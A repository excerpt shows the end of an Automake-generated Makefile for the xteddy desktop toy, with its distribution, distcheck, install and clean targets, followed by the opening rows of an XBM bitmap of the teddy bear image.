562 | @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \
563 | topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \
564 | list='$(DISTFILES)'; \
565 | dist_files=`for file in $$list; do echo $$file; done | \
566 | sed -e "s|^$$srcdirstrip/||;t" \
567 | -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \
568 | case $$dist_files in \
569 | */*) $(MKDIR_P) `echo "$$dist_files" | \
570 | sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \
571 | sort -u` ;; \
572 | esac; \
573 | for file in $$dist_files; do \
574 | if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
575 | if test -d $$d/$$file; then \
576 | dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \
577 | if test -d "$(distdir)/$$file"; then \
578 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
579 | fi; \
580 | if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
581 | cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \
582 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
583 | fi; \
584 | cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \
585 | else \
586 | test -f "$(distdir)/$$file" \
587 | || cp -p $$d/$$file "$(distdir)/$$file" \
588 | || exit 1; \
589 | fi; \
590 | done
591 | -test -n "$(am__skip_mode_fix)" \
592 | || find "$(distdir)" -type d ! -perm -755 \
593 | -exec chmod u+rwx,go+rx {} \; -o \
594 | ! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \
595 | ! -type d ! -perm -400 -exec chmod a+r {} \; -o \
596 | ! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \
597 | || chmod -R a+r "$(distdir)"
598 | dist-gzip: distdir
599 | tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz
600 | $(am__post_remove_distdir)
601 |
602 | dist-bzip2: distdir
603 | tardir=$(distdir) && $(am__tar) | BZIP2=$${BZIP2--9} bzip2 -c >$(distdir).tar.bz2
604 | $(am__post_remove_distdir)
605 |
606 | dist-lzip: distdir
607 | tardir=$(distdir) && $(am__tar) | lzip -c $${LZIP_OPT--9} >$(distdir).tar.lz
608 | $(am__post_remove_distdir)
609 |
610 | dist-xz: distdir
611 | tardir=$(distdir) && $(am__tar) | XZ_OPT=$${XZ_OPT--e} xz -c >$(distdir).tar.xz
612 | $(am__post_remove_distdir)
613 |
614 | dist-tarZ: distdir
615 | @echo WARNING: "Support for distribution archives compressed with" \
616 | "legacy program 'compress' is deprecated." >&2
617 | @echo WARNING: "It will be removed altogether in Automake 2.0" >&2
618 | tardir=$(distdir) && $(am__tar) | compress -c >$(distdir).tar.Z
619 | $(am__post_remove_distdir)
620 |
621 | dist-shar: distdir
622 | @echo WARNING: "Support for shar distribution archives is" \
623 | "deprecated." >&2
624 | @echo WARNING: "It will be removed altogether in Automake 2.0" >&2
625 | shar $(distdir) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).shar.gz
626 | $(am__post_remove_distdir)
627 |
628 | dist-zip: distdir
629 | -rm -f $(distdir).zip
630 | zip -rq $(distdir).zip $(distdir)
631 | $(am__post_remove_distdir)
632 |
633 | dist dist-all:
634 | $(MAKE) $(AM_MAKEFLAGS) $(DIST_TARGETS) am__post_remove_distdir='@:'
635 | $(am__post_remove_distdir)
636 |
637 | # This target untars the dist file and tries a VPATH configuration. Then
638 | # it guarantees that the distribution is self-contained by making another
639 | # tarfile.
640 | distcheck: dist
641 | case '$(DIST_ARCHIVES)' in \
642 | *.tar.gz*) \
643 | GZIP=$(GZIP_ENV) gzip -dc $(distdir).tar.gz | $(am__untar) ;;\
644 | *.tar.bz2*) \
645 | bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\
646 | *.tar.lz*) \
647 | lzip -dc $(distdir).tar.lz | $(am__untar) ;;\
648 | *.tar.xz*) \
649 | xz -dc $(distdir).tar.xz | $(am__untar) ;;\
650 | *.tar.Z*) \
651 | uncompress -c $(distdir).tar.Z | $(am__untar) ;;\
652 | *.shar.gz*) \
653 | GZIP=$(GZIP_ENV) gzip -dc $(distdir).shar.gz | unshar ;;\
654 | *.zip*) \
655 | unzip $(distdir).zip ;;\
656 | esac
657 | chmod -R a-w $(distdir)
658 | chmod u+w $(distdir)
659 | mkdir $(distdir)/_build $(distdir)/_build/sub $(distdir)/_inst
660 | chmod a-w $(distdir)
661 | test -d $(distdir)/_build || exit 0; \
662 | dc_install_base=`$(am__cd) $(distdir)/_inst && pwd | sed -e 's,^[^:\\/]:[\\/],/,'` \
663 | && dc_destdir="$${TMPDIR-/tmp}/am-dc-$$$$/" \
664 | && am__cwd=`pwd` \
665 | && $(am__cd) $(distdir)/_build/sub \
666 | && ../../configure \
667 | $(AM_DISTCHECK_CONFIGURE_FLAGS) \
668 | $(DISTCHECK_CONFIGURE_FLAGS) \
669 | --srcdir=../.. --prefix="$$dc_install_base" \
670 | && $(MAKE) $(AM_MAKEFLAGS) \
671 | && $(MAKE) $(AM_MAKEFLAGS) dvi \
672 | && $(MAKE) $(AM_MAKEFLAGS) check \
673 | && $(MAKE) $(AM_MAKEFLAGS) install \
674 | && $(MAKE) $(AM_MAKEFLAGS) installcheck \
675 | && $(MAKE) $(AM_MAKEFLAGS) uninstall \
676 | && $(MAKE) $(AM_MAKEFLAGS) distuninstallcheck_dir="$$dc_install_base" \
677 | distuninstallcheck \
678 | && chmod -R a-w "$$dc_install_base" \
679 | && ({ \
680 | (cd ../.. && umask 077 && mkdir "$$dc_destdir") \
681 | && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" install \
682 | && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" uninstall \
683 | && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" \
684 | distuninstallcheck_dir="$$dc_destdir" distuninstallcheck; \
685 | } || { rm -rf "$$dc_destdir"; exit 1; }) \
686 | && rm -rf "$$dc_destdir" \
687 | && $(MAKE) $(AM_MAKEFLAGS) dist \
688 | && rm -rf $(DIST_ARCHIVES) \
689 | && $(MAKE) $(AM_MAKEFLAGS) distcleancheck \
690 | && cd "$$am__cwd" \
691 | || exit 1
692 | $(am__post_remove_distdir)
693 | @(echo "$(distdir) archives ready for distribution: "; \
694 | list='$(DIST_ARCHIVES)'; for i in $$list; do echo $$i; done) | \
695 | sed -e 1h -e 1s/./=/g -e 1p -e 1x -e '$$p' -e '$$x'
696 | distuninstallcheck:
697 | @test -n '$(distuninstallcheck_dir)' || { \
698 | echo 'ERROR: trying to run $@ with an empty' \
699 | '$$(distuninstallcheck_dir)' >&2; \
700 | exit 1; \
701 | }; \
702 | $(am__cd) '$(distuninstallcheck_dir)' || { \
703 | echo 'ERROR: cannot chdir into $(distuninstallcheck_dir)' >&2; \
704 | exit 1; \
705 | }; \
706 | test `$(am__distuninstallcheck_listfiles) | wc -l` -eq 0 \
707 | || { echo "ERROR: files left after uninstall:" ; \
708 | if test -n "$(DESTDIR)"; then \
709 | echo " (check DESTDIR support)"; \
710 | fi ; \
711 | $(distuninstallcheck_listfiles) ; \
712 | exit 1; } >&2
713 | distcleancheck: distclean
714 | @if test '$(srcdir)' = . ; then \
715 | echo "ERROR: distcleancheck can only run from a VPATH build" ; \
716 | exit 1 ; \
717 | fi
718 | @test `$(distcleancheck_listfiles) | wc -l` -eq 0 \
719 | || { echo "ERROR: files left in build directory after distclean:" ; \
720 | $(distcleancheck_listfiles) ; \
721 | exit 1; } >&2
722 | check-am: all-am
723 | check: check-am
724 | all-am: Makefile $(PROGRAMS) $(MANS) $(DATA)
725 | installdirs:
726 | for dir in "$(DESTDIR)$(bindir)" "$(DESTDIR)$(man1dir)" "$(DESTDIR)$(pixmapdir)"; do \
727 | test -z "$$dir" || $(MKDIR_P) "$$dir"; \
728 | done
729 | install: install-am
730 | install-exec: install-exec-am
731 | install-data: install-data-am
732 | uninstall: uninstall-am
733 |
734 | install-am: all-am
735 | @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
736 |
737 | installcheck: installcheck-am
738 | install-strip:
739 | if test -z '$(STRIP)'; then \
740 | $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
741 | install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
742 | install; \
743 | else \
744 | $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
745 | install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
746 | "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \
747 | fi
748 | mostlyclean-generic:
749 |
750 | clean-generic:
751 |
752 | distclean-generic:
753 | -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
754 | -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES)
755 |
756 | maintainer-clean-generic:
757 | @echo "This command is intended for maintainers to use"
758 | @echo "it deletes files that may require special tools to rebuild."
759 | clean: clean-am
760 |
761 | clean-am: clean-binPROGRAMS clean-generic mostlyclean-am
762 |
763 | distclean: distclean-am
764 | -rm -f $(am__CONFIG_DISTCLEAN_FILES)
765 | -rm -rf ./$(DEPDIR)
766 | -rm -f Makefile
767 | distclean-am: clean-am distclean-compile distclean-generic \
768 | distclean-tags
769 |
770 | dvi: dvi-am
771 |
772 | dvi-am:
773 |
774 | html: html-am
775 |
776 | html-am:
777 |
778 | info: info-am
779 |
780 | info-am:
781 |
782 | install-data-am: install-man install-pixmapDATA
783 |
784 | install-dvi: install-dvi-am
785 |
786 | install-dvi-am:
787 |
788 | install-exec-am: install-binPROGRAMS
789 |
790 | install-html: install-html-am
791 |
792 | install-html-am:
793 |
794 | install-info: install-info-am
795 |
796 | install-info-am:
797 |
798 | install-man: install-man1
799 |
800 | install-pdf: install-pdf-am
801 |
802 | install-pdf-am:
803 |
804 | install-ps: install-ps-am
805 |
806 | install-ps-am:
807 |
808 | installcheck-am:
809 |
810 | maintainer-clean: maintainer-clean-am
811 | -rm -f $(am__CONFIG_DISTCLEAN_FILES)
812 | -rm -rf $(top_srcdir)/autom4te.cache
813 | -rm -rf ./$(DEPDIR)
814 | -rm -f Makefile
815 | maintainer-clean-am: distclean-am maintainer-clean-generic
816 |
817 | mostlyclean: mostlyclean-am
818 |
819 | mostlyclean-am: mostlyclean-compile mostlyclean-generic
820 |
821 | pdf: pdf-am
822 |
823 | pdf-am:
824 |
825 | ps: ps-am
826 |
827 | ps-am:
828 |
829 | uninstall-am: uninstall-binPROGRAMS uninstall-man uninstall-pixmapDATA
830 |
831 | uninstall-man: uninstall-man1
832 |
833 | .MAKE: install-am install-strip
834 |
835 | .PHONY: CTAGS GTAGS TAGS all all-am am--refresh check check-am clean \
836 | clean-binPROGRAMS clean-cscope clean-generic cscope \
837 | cscopelist-am ctags ctags-am dist dist-all dist-bzip2 \
838 | dist-gzip dist-lzip dist-shar dist-tarZ dist-xz dist-zip \
839 | distcheck distclean distclean-compile distclean-generic \
840 | distclean-tags distcleancheck distdir distuninstallcheck dvi \
841 | dvi-am html html-am info info-am install install-am \
842 | install-binPROGRAMS install-data install-data-am install-dvi \
843 | install-dvi-am install-exec install-exec-am install-html \
844 | install-html-am install-info install-info-am install-man \
845 | install-man1 install-pdf install-pdf-am install-pixmapDATA \
846 | install-ps install-ps-am install-strip installcheck \
847 | installcheck-am installdirs maintainer-clean \
848 | maintainer-clean-generic mostlyclean mostlyclean-compile \
849 | mostlyclean-generic pdf pdf-am ps ps-am tags tags-am uninstall \
850 | uninstall-am uninstall-binPROGRAMS uninstall-man \
851 | uninstall-man1 uninstall-pixmapDATA
852 |
853 | .PRECIOUS: Makefile
854 |
855 |
856 | # Tell versions [3.59,3.63) of GNU make to not export all variables.
857 | # Otherwise a system limit (for SysV at least) may be exceeded.
858 | .NOEXPORT:
859 |
--------------------------------------------------------------------------------
/pixmaps/xteddy_bw.xbm:
--------------------------------------------------------------------------------
1 | #define xteddy_bw_width 196
2 | #define xteddy_bw_height 253
3 | static unsigned char xteddy_bw_bits[] = {
4 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
5 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
6 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
7 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
8 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
9 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
10 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
11 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
12 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
13 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
14 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
15 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
16 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
17 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
18 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
19 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
20 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
21 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
22 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
23 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
24 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
25 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
26 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
27 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
28 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
29 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
30 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
31 | 0x00,0x04,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
32 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x4a,0x51,0x02,0x00,0x00,
33 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
34 | 0x00,0x00,0x00,0x00,0x28,0x91,0x8a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
35 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x52,
36 | 0x2a,0x35,0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
37 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa9,0xa5,0x4a,0x21,0x00,0x00,
38 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
39 | 0x00,0x00,0x00,0x00,0x5a,0x55,0xbb,0x0a,0x00,0x00,0x00,0x04,0x00,0x00,0x00,
40 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x76,
41 | 0xd5,0x56,0x55,0x02,0x00,0x90,0x20,0x12,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
42 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xad,0xbb,0x6d,0x25,0x20,0x00,
43 | 0x04,0x8a,0x80,0x04,0x02,0x00,0x50,0x0a,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
44 | 0x00,0x00,0x00,0x80,0xfa,0xd6,0xda,0x8a,0x0a,0x90,0xa0,0x20,0x29,0x90,0x50,
45 | 0x00,0x8a,0x50,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0xae,
46 | 0xff,0xb7,0x35,0x00,0x84,0x0a,0x95,0x44,0x01,0x00,0xa5,0x24,0x0b,0x82,0x00,
47 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xfd,0xab,0x7e,0x47,0xa5,0x20,
48 | 0x20,0x22,0x09,0x24,0x55,0x00,0x69,0xaa,0x54,0x02,0x00,0x00,0x00,0x00,0x00,
49 | 0x00,0x00,0x00,0x20,0x6b,0xff,0xd5,0x5a,0x02,0x80,0xca,0x14,0x52,0x81,0x20,
50 | 0x55,0xca,0x5a,0x95,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xed,
51 | 0x6b,0xff,0x97,0x28,0x12,0x94,0xa2,0x08,0x12,0x4a,0x80,0xaa,0x55,0x55,0x15,
52 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xbb,0xfe,0xab,0x3a,0x45,0xa0,
53 | 0xa2,0x94,0xa2,0xa4,0x90,0x2a,0xaa,0x6e,0x55,0x05,0x00,0x00,0x00,0x00,0x00,
54 | 0x00,0x00,0x00,0xc0,0xee,0x6d,0xff,0x57,0x10,0x09,0x54,0x25,0x09,0x49,0x25,
55 | 0x81,0xda,0xaa,0xbb,0x5b,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0xfb,
56 | 0xff,0x5b,0xad,0x02,0xa0,0xa2,0xaa,0x52,0x92,0x52,0x2a,0xb4,0xed,0xee,0x56,
57 | 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x6f,0xfb,0xee,0x6b,0xa9,0x0a,
58 | 0x95,0x54,0x8a,0x54,0x94,0x00,0xad,0xba,0xfb,0xad,0x00,0x00,0x00,0x00,0x00,
59 | 0x00,0x00,0x00,0x40,0xfd,0xdf,0x7b,0x55,0x42,0x50,0x55,0xa5,0x52,0xa5,0xa5,
60 | 0x2a,0x52,0xf7,0xbf,0xb7,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0xef,
61 | 0xff,0xfe,0xd6,0x14,0xa5,0xaa,0xaa,0x2a,0x49,0xaa,0x82,0x8a,0xac,0xee,0xbf,
62 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x7b,0xff,0xdf,0xaa,0x52,0x2a,
63 | 0x55,0xb5,0x4a,0xaa,0xaa,0x2a,0x12,0xfb,0xfb,0xed,0x01,0x00,0x00,0x00,0x00,
64 | 0x00,0x00,0x00,0xa0,0xfd,0xff,0xff,0xd6,0xaa,0xa8,0xaa,0x56,0x95,0xaa,0xaa,
65 | 0x4a,0x85,0xd4,0xfe,0x5f,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xff,
66 | 0xff,0x7f,0xad,0x12,0x55,0x55,0xad,0xab,0xaa,0xaa,0x94,0x12,0xea,0xff,0xfb,
67 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0xda,0xff,0xff,0x5b,0x55,0x55,
68 | 0x95,0x6a,0x55,0xa9,0xaa,0x52,0x84,0xe8,0xff,0xaf,0x01,0x00,0x00,0x00,0x00,
69 | 0x00,0x00,0x00,0x80,0xfe,0xfe,0x5f,0xf5,0x2a,0xa9,0xaa,0x9a,0x56,0x55,0x55,
70 | 0xad,0x12,0x6a,0xff,0x7e,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xb5,
71 | 0xff,0xbf,0xaf,0x55,0xaa,0x52,0xd5,0xaa,0xaa,0xaa,0x52,0x04,0xe8,0xff,0xdf,
72 | 0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xee,0xff,0xd7,0x7a,0xab,0x54,
73 | 0x55,0xab,0x55,0x55,0xb5,0xad,0x89,0xaa,0xff,0xf7,0x01,0x00,0x00,0x00,0x00,
74 | 0x00,0x00,0x00,0x40,0xf5,0xff,0xff,0xd7,0x96,0xaa,0xaa,0xaa,0xaa,0xaa,0x56,
75 | 0xbb,0x12,0xd4,0xff,0xbf,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xfa,
76 | 0xfd,0x5b,0xfd,0x5b,0x55,0x55,0x5b,0x6d,0x55,0xed,0x6a,0x45,0xd1,0xff,0xef,
77 | 0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xd6,0xff,0xef,0xaf,0x2e,0xb5,
78 | 0xaa,0xaa,0x5a,0xdb,0x5b,0xdf,0x2a,0x64,0xff,0x7d,0x09,0x00,0x00,0x00,0x00,
79 | 0x00,0x00,0x00,0x80,0xba,0xee,0x7b,0xfb,0x5b,0x55,0xd5,0xd6,0xd6,0x56,0xb6,
80 | 0xb5,0x0a,0xc8,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xea,
81 | 0xff,0xde,0xff,0xfe,0x6a,0xab,0xaa,0x55,0xd5,0xed,0xae,0x02,0x51,0xff,0x5f,
82 | 0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfd,0xfb,0xef,0xda,0x57,0x5d,
83 | 0xdd,0x56,0xdb,0xb6,0xb6,0x5b,0x29,0xa4,0xff,0xfe,0x0b,0x00,0x00,0x00,0x00,
84 | 0x00,0x00,0x00,0x40,0x56,0xff,0xbb,0x7f,0x7f,0xd3,0xb6,0x6d,0xb5,0xed,0x7d,
85 | 0x57,0x02,0xd2,0xff,0x77,0x0b,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfd,
86 | 0xfd,0xff,0xed,0xdb,0xb6,0x55,0xab,0x6b,0x5b,0xd7,0xdd,0xa4,0x08,0xdf,0xdf,
87 | 0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x69,0xff,0xb6,0xbf,0xff,0x6d,
88 | 0xef,0x5a,0xad,0xb6,0x7e,0xab,0x02,0x64,0x75,0xfb,0x07,0x00,0x00,0x00,0x00,
89 | 0x00,0x00,0x00,0x00,0xfa,0xff,0xdf,0xfd,0x6e,0xb5,0xb5,0xad,0xda,0xed,0xd5,
90 | 0xb7,0x08,0x92,0xde,0xdf,0x0a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd5,
91 | 0x6e,0x75,0xef,0xdf,0xdb,0x6e,0xdb,0xb7,0xaa,0x7f,0x2d,0x81,0x20,0xbb,0xf6,
92 | 0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe8,0xfb,0xdf,0x7d,0xfb,0xb6,
93 | 0xdd,0x36,0x55,0x5b,0xd5,0xaa,0x12,0x94,0xee,0x5d,0x0b,0x00,0x00,0x00,0x00,
94 | 0x00,0x00,0x00,0x00,0x5a,0xff,0x75,0xff,0xdf,0xad,0xb6,0x6d,0xdd,0xb6,0xbf,
95 | 0x55,0x00,0xa1,0x5a,0xf7,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,
96 | 0xff,0xde,0xff,0x7f,0x77,0xdb,0xd6,0x6b,0xed,0x7a,0x95,0x12,0x8a,0xf6,0xae,
97 | 0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x44,0xbf,0x77,0xdb,0xee,0xaf,
98 | 0x77,0x7b,0xb5,0x5b,0xaf,0x2a,0x40,0x50,0xad,0xb5,0x01,0x00,0x00,0x00,0x00,
99 | 0x00,0x00,0x00,0x00,0xd0,0xed,0xdf,0xff,0xff,0xdd,0xda,0xad,0x6e,0xd5,0xbd,
100 | 0xa6,0x04,0x25,0x75,0x5b,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,
101 | 0xff,0x6a,0xb7,0xb7,0xbf,0x6d,0x6b,0xdb,0xae,0x57,0x09,0x41,0x48,0x6f,0x57,
102 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x76,0xdf,0xee,0xff,0x6f,
103 | 0xb7,0xd6,0xb6,0x75,0xad,0x2a,0x10,0xa2,0xb4,0xaa,0x02,0x00,0x00,0x00,0x00,
104 | 0x00,0x00,0x00,0x00,0xa0,0xfe,0xb5,0xfb,0xff,0xbd,0xdd,0xad,0xad,0xaa,0xdf,
105 | 0x52,0x00,0x49,0x6d,0x55,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,
106 | 0xba,0x7b,0x7f,0x6d,0xef,0xbb,0xda,0xb6,0xfd,0x2a,0x89,0x42,0x10,0xd5,0x55,
107 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6d,0xad,0xed,0xff,0xbf,
108 | 0xf6,0xb5,0x6d,0xab,0x57,0x55,0x10,0xa5,0xba,0x2a,0x00,0x00,0x00,0x00,0x00,
109 | 0x00,0x00,0x00,0x00,0x40,0xda,0x77,0xbb,0xdb,0x76,0xad,0x6e,0xf7,0x76,0x6d,
110 | 0x95,0x40,0x54,0xd5,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
111 | 0xb5,0xda,0xee,0xfe,0xff,0x7b,0x2b,0xdd,0xed,0xab,0x2a,0x05,0x81,0xba,0x2a,
112 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc8,0xb7,0xbd,0xff,0x7f,
113 | 0xad,0x00,0xa0,0x5a,0x55,0x55,0x50,0x54,0xd6,0x02,0x00,0x00,0x00,0x00,0x00,
114 | 0x00,0x00,0x00,0x00,0x00,0x52,0x6d,0xeb,0xf7,0xff,0x1b,0x00,0x00,0xf7,0xea,
115 | 0x56,0x01,0x91,0x6c,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
116 | 0xe0,0xb6,0xbf,0xfe,0xe7,0x06,0x00,0x00,0xac,0xde,0xaf,0x24,0x22,0xdb,0x02,
117 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa0,0x7d,0xf5,0xff,0xf7,
118 | 0x0b,0x00,0x00,0x68,0xf5,0x5d,0x40,0x54,0x6d,0x00,0x00,0x00,0x00,0x00,0x00,
119 | 0x00,0x00,0x00,0x00,0x00,0x50,0xd7,0x5f,0xff,0xff,0x01,0x00,0x00,0xd0,0xfb,
120 | 0x57,0x09,0x81,0x9a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
121 | 0xa0,0x7d,0xed,0xfd,0xff,0x00,0x00,0x00,0x40,0xf6,0x5f,0x24,0x2a,0x15,0x00,
122 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0xd7,0xbf,0xff,0xff,
123 | 0x00,0x00,0x00,0x80,0xf7,0x57,0x81,0x90,0x0a,0x00,0x00,0x00,0x00,0x00,0x00,
124 | 0x00,0x00,0x00,0x00,0x00,0xd0,0x7d,0x6b,0xfd,0x7f,0x00,0x00,0x00,0x80,0xeb,
125 | 0x5f,0x10,0x4a,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
126 | 0xa0,0xf7,0xbf,0xef,0x1f,0x00,0x00,0x00,0x00,0xff,0x17,0xa1,0x10,0x00,0x00,
127 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0xdd,0xea,0xfe,0x0f,
128 | 0x00,0x00,0x00,0x00,0xff,0xaf,0x04,0x4a,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
129 | 0x00,0x00,0x00,0x00,0x00,0xd0,0x77,0xff,0xbb,0x03,0x00,0x00,0x00,0x00,0xfe,
130 | 0x2b,0x90,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
